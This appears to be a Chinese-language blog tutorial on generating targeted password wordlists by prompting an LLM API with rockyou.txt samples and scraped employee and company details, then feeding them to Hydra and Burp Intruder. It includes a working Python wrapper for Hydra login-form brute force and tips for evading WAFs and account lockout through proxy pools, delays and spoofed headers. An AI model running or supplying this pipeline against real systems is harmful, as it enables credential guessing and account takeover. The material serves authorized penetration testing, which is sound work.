AI赋能密码审计:基于rockyou.txt与快马平台的智能字典生成实战

AI赋能密码审计:基于rockyou.txt与快马平台的智能字典生成实战
1. 项目概述当AI遇上密码审计最近在搞安全测试特别是针对Web应用和内部系统的弱口令排查发现传统方法效率实在有点跟不上。手动跑字典、写脚本、分析结果一套流程下来不仅耗时耗力还容易因为字典不够新、规则不够智能而漏掉一些潜在的弱密码。直到我把目光投向了AI平台和那个“臭名昭著”的rockyou.txt字典一个想法逐渐成型能不能用AI来“理解”密码让审计过程变得更聪明、更自动化这个项目的核心就是利用快马AI平台提供的模型能力结合经典的rockyou.txt密码字典构建一个智能化的密码审计工具。它不再是简单的字符串匹配而是能理解密码的构成模式、常见变体甚至能根据目标系统的特点比如注册页面提示的密码规则动态生成或筛选更有可能的密码组合。简单来说就是让机器学会“猜”密码而且是更高效、更精准地猜。这玩意儿适合谁如果你是安全工程师、渗透测试人员或者是对企业内网安全、应用安全有自查需求的运维和开发同学这个工具能帮你把重复性的弱口令扫描工作自动化、智能化解放双手去处理更复杂的逻辑漏洞。即便是安全新手也能通过这个项目理解密码审计的核心流程和AI在其中的赋能作用。2. 核心思路为什么是“AI rockyou.txt”2.1 rockyou.txt的遗产与局限rockyou.txt是一个在2009年因社交应用RockYou数据泄露而流出的明文密码文件包含了超过3200万个真实用户密码。它之所以成为安全测试领域的“圣经”是因为它反映了真实用户设置密码的行为习惯喜欢用常见单词、名字、日期、简单序列如“123456”、“password”、“qwerty”以及它们的简单变体如“password123”。然而直接使用rockyou.txt进行爆破在今天面临几个明显问题陈旧性泄露发生在十多年前许多当时流行的密码模式如“myspace1”今天已不常见而新的流行词如特定剧集角色名、新梗并未包含。静态性它是一个固定的列表无法适应不同目标系统特定的密码策略。例如某个系统要求密码必须包含大写字母和特殊字符原始的rockyou.txt匹配率会骤降。缺乏上下文它只是列表没有关联密码所属的用户名、邮箱等上下文信息无法进行精准的凭证组合攻击。2.2 AI如何赋能密码审计AI特别是自然语言处理NLP和生成式AI模型正好可以弥补上述短板。我们的思路不是让AI从头生成海量随机字符串那效率太低。而是让AI学习rockyou.txt以及其它来源中蕴含的“密码语言学”模式学习与泛化AI可以学习到“单词数字后缀”love123、“首字母大写数字”Summer2021、“键盘模式”qwerty, 1qaz2wsx等常见模式。当给定一个基础词如公司名、产品名时AI能自动生成符合这些常见模式的变体。动态规则适配我们可以将目标系统的密码策略如长度8-16位需包含大小写字母和数字作为提示Prompt输入给AI。AI模型可以基于rockyou.txt中的词汇按照新规则生成符合要求的密码候选列表或者对现有列表进行智能过滤和排序把最可能符合规则的密码排在前面。上下文关联增强结合从目标网站搜集到的信息如员工姓名、部门、产品名、周年纪念年份等AI可以生成高度定制化的密码字典。例如输入“张三技术部2020年入职”AI可能生成“Zhangsan2020”、“TechZhang2020”、“ZSjsb2020!”等组合。所以这个项目的核心架构是一个以AI模型为“大脑”的字典处理引擎。原始rockyou.txt作为“语料库”和基础素材AI模型负责理解、扩展、转换和优化最终输出一个针对性强、命中率更高的动态密码字典供后续的爆破工具如Hydra, Medusa, Burp Intruder使用。注意本项目旨在用于授权的安全测试和提升自身系统安全性。绝对禁止在未获得明确授权的情况下对任何系统进行密码猜解或爆破测试否则将涉及严重的法律风险。3. 工具选型与核心组件解析3.1 为什么选择快马AI平台市面上AI平台和API很多选择快马AI平台主要基于几个实际考量接口易用性与成本它的API设计通常比较清晰文档齐全对于快速集成验证想法非常友好。而且往往对新用户有较为慷慨的免费额度适合个人开发者或小团队进行技术原型验证成本可控。模型能力聚焦我们需要的是文本生成和理解能力。快马平台提供的模型在处理这类“文本模式学习与生成”任务上表现足够能够理解我们关于密码规则的复杂提示并生成结构化的文本密码列表。可编程性与集成度平台提供标准的HTTP API可以轻松地用Python、Go等任何语言调用方便我们将其嵌入到自动化审计流水线中与现有的扫描框架结合。当然你也可以使用其他类似的大模型API如OpenAI GPT系列、国内的其他大模型平台核心思路是相通的。选择快马是在易用性、成本和功能之间取得的一个平衡点。3.2 rockyou.txt的准备与预处理原始的rockyou.txt文件很大约130MB直接让AI去读整个文件既不经济也不高效。我们需要对其进行预处理获取与清洗可以从合法的安全研究资源站获取。首先进行去重和排序。频率分析与采样统计密码出现的频率提取出最高频的Top 10万或Top 50万个密码。这些高频密码代表了最普遍的用户行为是AI学习的重点。同时也可以按密码长度、字符类型进行采样确保样本多样性。模式提取可选但推荐编写脚本进行简单的模式分析例如识别出纯数字、纯字母、字母数字、包含特殊字符等类别以及常见的后缀“123”“!”“2023”等。这些统计信息可以作为元数据提供给AI帮助它更快地掌握规律。预处理后的文件我们称之为“种子字典”或“基础语料库”。它的体积更小质量更高是AI学习的“教材”。3.3 辅助工具链一个完整的智能审计工具还包括调度与集成脚本Python负责调用AI API、处理输入输出、管理任务队列的核心程序。密码爆破器如Hydra支持多种协议、Medusa、或Burp Suite的Intruder模块。我们的AI工具负责生成优质的字典文件然后交给这些专业工具去执行网络层面的爆破尝试。信息收集工具用于收集目标上下文的工具如从官网提取关键词的爬虫Scrapy, BeautifulSoup从LinkedIn等渠道获取员工名单的工具theHarvester这些信息将成为AI生成定制字典的“燃料”。4. 智能密码字典生成引擎实现4.1 系统架构与工作流程整个工具的工作流程可以划分为几个阶段如下图所示概念描述输入阶段目标信息输入目标系统URL、可能的用户名/邮箱列表、从网站搜集到的关键词公司名、产品名、标语等。密码策略手动输入或通过工具探测得到的密码规则最小长度、字符类型要求等。基础语料加载预处理过的rockyou.txt高频部分。AI处理引擎核心将目标信息、密码策略和基础语料中的样本进行组合构建成给AI模型的“提示词Prompt”。调用快马AI平台的API发送请求。解析AI返回的文本提取出生成的密码候选列表。输出与后处理阶段对AI生成的密码进行去重、排序并可能与传统规则生成的密码如使用Hashcat的--rules功能进行合并。输出最终的.txt或.lst字典文件。自动调用配置好的爆破工具如Hydra使用生成的字典对目标进行测试。4.2 核心Prompt工程设计Prompt的质量直接决定了AI输出字典的实用性。我们的Prompt需要精心设计以引导AI扮演好“密码生成专家”的角色。一个基础的Prompt模板如下你是一个专业的网络安全专家擅长生成用于授权安全测试的密码字典。请根据以下信息生成一个可能的密码列表 已知信息 1. 目标公司名称[例如星辰科技] 2. 目标产品名称[例如星图数据库] 3. 收集到的关键词[例如创新、2023发布会、admin] 4. 疑似用户名[例如zhang.san, lisi, admin] 密码策略要求来自目标系统注册页面 - 长度至少8个字符 - 必须包含大写字母、小写字母、数字 - 可选包含特殊字符 (!#$%^*) 请学习以下常见密码模式示例来自历史泄露数据并模仿其风格结合上述已知信息和密码策略生成50个最有可能的密码。 请确保每个密码都符合上述策略要求。 常见密码模式示例 [这里插入从预处理rockyou.txt中采样的一些典型密码例如password123, Sunshine!, admin2020, starwars1, Company2022] 请直接输出密码每行一个不要编号不要任何额外解释。Prompt设计要点角色设定明确AI的角色使其输出更专业。结构化输入将目标信息、策略、示例分开清晰明了。示例学习Few-shot Learning提供少量典型密码示例这是让AI快速掌握“密码风格”的关键比单纯用文字描述规则有效得多。明确的输出格式要求AI直接输出密码方便程序解析。数量控制一次生成50-200个为宜过多可能导致质量下降或API开销过大可以分多次请求。4.3 Python实现代码拆解下面是一个简化的核心Python函数展示如何调用快马AI API并处理结果import requests import json class SmartPasswordGenerator: def __init__(self, api_key, api_base_urlhttps://api.kuaiai.com/v1): self.api_key api_key self.api_base_url api_base_url self.headers { Authorization: fBearer {api_key}, Content-Type: application/json } def build_prompt(self, target_info, policy, examples): 构建Prompt prompt_template f 你是一个专业的网络安全专家擅长生成用于授权安全测试的密码字典。请根据以下信息生成一个可能的密码列表 已知信息 1. 目标公司名称{target_info.get(company, N/A)} 2. 目标产品名称{target_info.get(product, N/A)} 3. 收集到的关键词{, .join(target_info.get(keywords, []))} 4. 疑似用户名{, .join(target_info.get(usernames, []))} 密码策略要求 - 长度至少{policy.get(min_length, 8)}个字符 - 必须包含{, .join(policy.get(required_types, [大写字母, 小写字母, 数字]))} - 可选包含特殊字符 请学习以下常见密码模式示例并模仿其风格结合上述已知信息和密码策略生成{policy.get(generate_count, 50)}个最有可能的密码。 请确保每个密码都符合上述策略要求。 常见密码模式示例 {chr(10).join(examples)} 请直接输出密码每行一个不要编号不要任何额外解释。 return prompt_template def generate_passwords(self, target_info, policy, example_passwords): 调用AI生成密码 prompt self.build_prompt(target_info, policy, example_passwords) payload { model: kuaiai-chat, # 根据快马平台实际模型名调整 messages: [ {role: user, content: prompt} ], max_tokens: 2000, temperature: 0.7, # 创造性可调 } try: response requests.post( f{self.api_base_url}/chat/completions, headersself.headers, datajson.dumps(payload), timeout30 ) response.raise_for_status() result response.json() # 解析AI返回的文本内容 content result[choices][0][message][content].strip() # 按行分割过滤空行 generated_passwords [pwd.strip() for pwd in content.split(n) if pwd.strip()] return generated_passwords except requests.exceptions.RequestException as e: print(fAPI请求失败: {e}) return [] except (KeyError, json.JSONDecodeError) as e: print(f解析响应失败: {e}) return [] # 使用示例 if __name__ __main__: api_key your_kuaiai_api_key_here generator SmartPasswordGenerator(api_key) target_info { company: 星辰科技, product: 星图数据库, keywords: [创新, 云原生, 2023发布会], usernames: [admin, zhang.san] } policy { min_length: 10, required_types: [大写字母, 小写字母, 数字], generate_count: 100 } # 从预处理文件中加载示例密码 with open(rockyou_top100k_samples.txt, r, encodingutf-8, errorsignore) as f: examples [line.strip() for line in f.readlines()[:20]] # 取前20个作为示例 passwords generator.generate_passwords(target_info, policy, examples) if passwords: with open(generated_custom_wordlist.txt, w, encodingutf-8) as f: for pwd in passwords: f.write(pwd n) print(f成功生成 {len(passwords)} 个密码已保存至 generated_custom_wordlist.txt) else: print(密码生成失败。)代码关键点解析封装与配置将API密钥、地址等配置化便于管理。动态Prompt构建函数将目标信息、策略和示例动态填充到模板中。错误处理对网络请求和JSON解析进行了基本的异常捕获避免程序因单次API失败而崩溃。结果解析假设AI严格按照要求返回每行一个密码直接按行分割并清洗。示例密码加载从预处理好的rockyou高频样本中加载一小部分作为“示例”这是Few-shot Learning的关键。4.4 字典融合与优化AI生成的字典我们称之为ai_generated.txt虽然质量高但覆盖度可能仍有不足。一个稳健的做法是将其与其它字典进行融合与传统规则生成字典融合使用像hashcat自带的规则文件如best64.rule,generated2.rule对基础词汇如公司名、产品名进行变换生成一批密码。命令如hashcat --stdout base_words.txt -r best64.rule rule_generated.txt。与通用大型字典融合合并一些通用的高质量字典如SecLists项目中的Passwords/Leaked-Databases下的部分文件。去重与排序使用sort和uniq命令Linux或Python的集合set操作对所有来源的密码进行全局去重。然后可以按长度、字符复杂度或预估的常见度进行排序将最有可能的密码放在字典前面以提升爆破效率。# Linux shell示例合并、去重、排序 cat ai_generated.txt rule_generated.txt common_passwords_top100k.txt combined_all.txt sort combined_all.txt | uniq final_wordlist_sorted.txt # 或者按密码长度排序短密码优先尝试因为很多系统有最小长度限制但短密码尝试更快 awk { print length, $0 } final_wordlist_sorted.txt | sort -n | cut -d -f2- final_wordlist_by_length.txt5. 实战应用集成与自动化测试5.1 与Hydra集成进行自动化爆破生成了高质量的字典后下一步就是用它进行实战。这里以Hydra为例展示如何将整个流程自动化。我们可以编写一个Python脚本在生成字典后自动调用Hydra对指定目标进行爆破。假设我们要测试一个HTTP POST表单的登录接口。import subprocess import sys from pathlib import Path def run_hydra_attack(target_url, login_path, username_list, password_file, form_params): 使用Hydra进行HTTP POST表单爆破 :param target_url: 目标基础URL如 http://target.com :param login_path: 登录路径如 /login.php :param username_list: 用户名列表文件路径 :param password_file: 密码字典文件路径即AI生成的 :param form_params: 表单参数字典如 {user: ^USER^, pass: ^PASS^} # 构建Hydra命令 # -l 指定单个用户名-L 指定用户名字典文件。这里我们用 -L # -p 指定单个密码-P 指定密码字典文件。这里我们用 -P # http-post-form 指定模块 # 表单参数格式/path:param1^USER^param2^PASS^:F失败标识 # 将参数字典转换为Hydra需要的格式字符串 params_str .join([f{k}{v} for k, v in form_params.items()]) # 假设失败时页面会包含“登录失败”字样 failure_indicator 登录失败 post_form_spec f{login_path}:{params_str}:F{failure_indicator} cmd [ hydra, -L, username_list, # 用户名字典 -P, password_file, # 密码字典 target_url, http-post-form, post_form_spec, -vV, # 详细输出 -t, 10, # 并发线程数 -w, 30, # 请求超时时间 -o, hydra_result.txt # 结果输出文件 ] print(f执行命令: { .join(cmd)}) try: # 实时输出Hydra的执行过程 process subprocess.Popen(cmd, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue) for line in process.stdout: sys.stdout.write(line) # 实时打印输出 if host: in line and login: in line and password: in line: # 捕获成功结果 print(f[!] 发现有效凭证: {line.strip()}) process.wait() print(fn爆破完成。详细结果已保存至 hydra_result.txt) except FileNotFoundError: print(错误未找到hydra命令。请确保Hydra已安装并在PATH中。) except subprocess.CalledProcessError as e: print(fHydra执行过程中出错: {e}) # 使用示例 if __name__ __main__: # 假设我们已经通过前面的AI引擎生成了密码文件 ai_password_file final_wordlist_by_length.txt # 准备用户名字典可以是简单的列表如 admin, root, test 等 username_file common_usernames.txt # 目标信息 target_url http://testphp.vulnweb.com login_path /userinfo.php # 根据实际表单分析确定参数名 form_parameters { uname: ^USER^, # Hydra会用字典中的用户名替换 ^USER^ pass: ^PASS^ # Hydra会用字典中的密码替换 ^PASS^ } run_hydra_attack(target_url, login_path, username_file, ai_password_file, form_parameters)自动化脚本的价值这个脚本将AI字典生成和爆破测试连接起来形成了一个小型的自动化流水线。你可以进一步扩展它比如自动从Wappalyzer等工具获取目标技术栈来推测可能的默认凭证或者自动解析Burp Suite的日志来定位登录接口。5.2 在Burp Suite Intruder中的应用对于更复杂的场景如需要处理Cookie、Token、动态参数Burp Suite的Intruder模块是更佳选择。AI生成的字典可以直接导入使用。抓取登录请求用Burp Proxy拦截一个登录请求发送到Intruder。设置攻击类型通常选择“簇炸弹”Cluster bomb模式因为它允许对用户名和密码两个变量分别使用不同的字典。设置载荷Payloads载荷集1用户名加载你的用户名字典文件common_usernames.txt。载荷集2密码加载AI生成的智能密码字典final_wordlist_by_length.txt。设置资源池Resource Pool合理配置请求间隔和并发数避免触发目标系统的防护机制。开始攻击并分析结果根据响应长度、状态码、或通过“Grep - Match”设置的关键词如“欢迎”、“登录成功”来筛选出成功的请求。使用AI字典的优势在Intruder中由于请求是序列化发送的将最有可能的密码组合放在字典前面能让你更早地发现弱口令尤其是在测试时间有限或目标有速率限制的情况下。6. 避坑指南与效能优化在实际操作中我踩过不少坑也总结了一些提升效率和成功率的心得。6.1 常见问题与解决方案问题可能原因解决方案AI生成的密码不符合策略Prompt中对密码策略的描述不够清晰或AI未完全理解。1. 在Prompt中更严格地定义规则例如“密码必须精确包含至少一个大写字母、一个小写字母和一个数字”。2. 在代码后端对AI生成的密码进行二次验证过滤掉不符合策略的项。生成的密码数量不足或重复率高AI的max_tokens参数设置过小或temperature创造性太低。1. 适当增加max_tokens值确保有足够空间生成列表。2. 将temperature调高到0.8-1.0增加输出的多样性。3. 分多次请求每次使用略有不同的Prompt如变换示例密码然后合并结果。API调用成本或速率限制频繁调用AI API产生费用或被限流。1.本地微调模型如果条件允许可以考虑使用开源的、参数量较小的语言模型如Llama 2的7B版本在本地进行微调Fine-tuning专门学习密码生成任务。一次投入长期使用。这是成本控制的最优解。2.缓存与复用对相同目标信息生成的字典进行缓存避免重复生成。3.使用免费/低成本API充分利用各平台提供的免费额度。爆破效率低下字典太大或密码排序不合理导致早期尝试命中率低。1.智能排序不要简单按字母排序。将包含目标关键词、符合最常见模式如“单词年份”的密码排在前面。2.字典裁剪根据目标系统反馈如“密码长度至少8位”的错误提示动态裁剪字典只保留符合当前规则的密码进行尝试。触发WAF或账号锁定爆破请求频率过高、特征明显。1.降低并发-t在Hydra或Intruder中设置较低的线程数。2.增加延迟-w在请求间加入随机延迟。3.使用代理池分散请求来源IP。4.伪装请求头确保爆破请求的User-Agent、Referer等头部与正常浏览器一致。6.2 进阶技巧与扩展思路上下文感知的字典生成季节与节日在年底生成包含“2023”、“2024”、“Winter!”的密码变体。公司事件如果知道目标公司刚举办过“XX产品2.0发布会”则生成包含“2.0”、“launch”、“release”的密码组合。这需要你将一个简单的信息收集爬虫集成到流程前端。混合攻击模式不要只依赖AI。将AI生成的“高智商”字典与传统的“暴力”字典如数字组合、键盘序列结合起来。先用AI字典进行“精准打击”如果时间允许再用大型通用字典进行“覆盖扫描”。反馈循环优化如果一次测试未成功可以分析失败原因。是用户名不对还是密码策略判断有误将这些信息作为新的输入再次调用AI生成第二轮字典。形成一个“测试-分析-优化-再测试”的闭环。专注于“个性化”弱口令对于内部系统员工使用公司名、部门名、自己姓名设置密码的概率极高。AI在结合这些个性化信息生成字典方面比传统规则强大得多。收集到的员工邮箱如zhang.sancompany.com其用户名部分zhang.san就是绝佳的密码生成种子。这个项目的魅力在于它将安全测试中一项原本枯燥且依赖经验的工作部分转化为了一个可编程、可优化、具备学习能力的自动化流程。它不会取代安全工程师而是成为一个强大的“辅助大脑”让我们能更聚焦于策略制定和逻辑分析。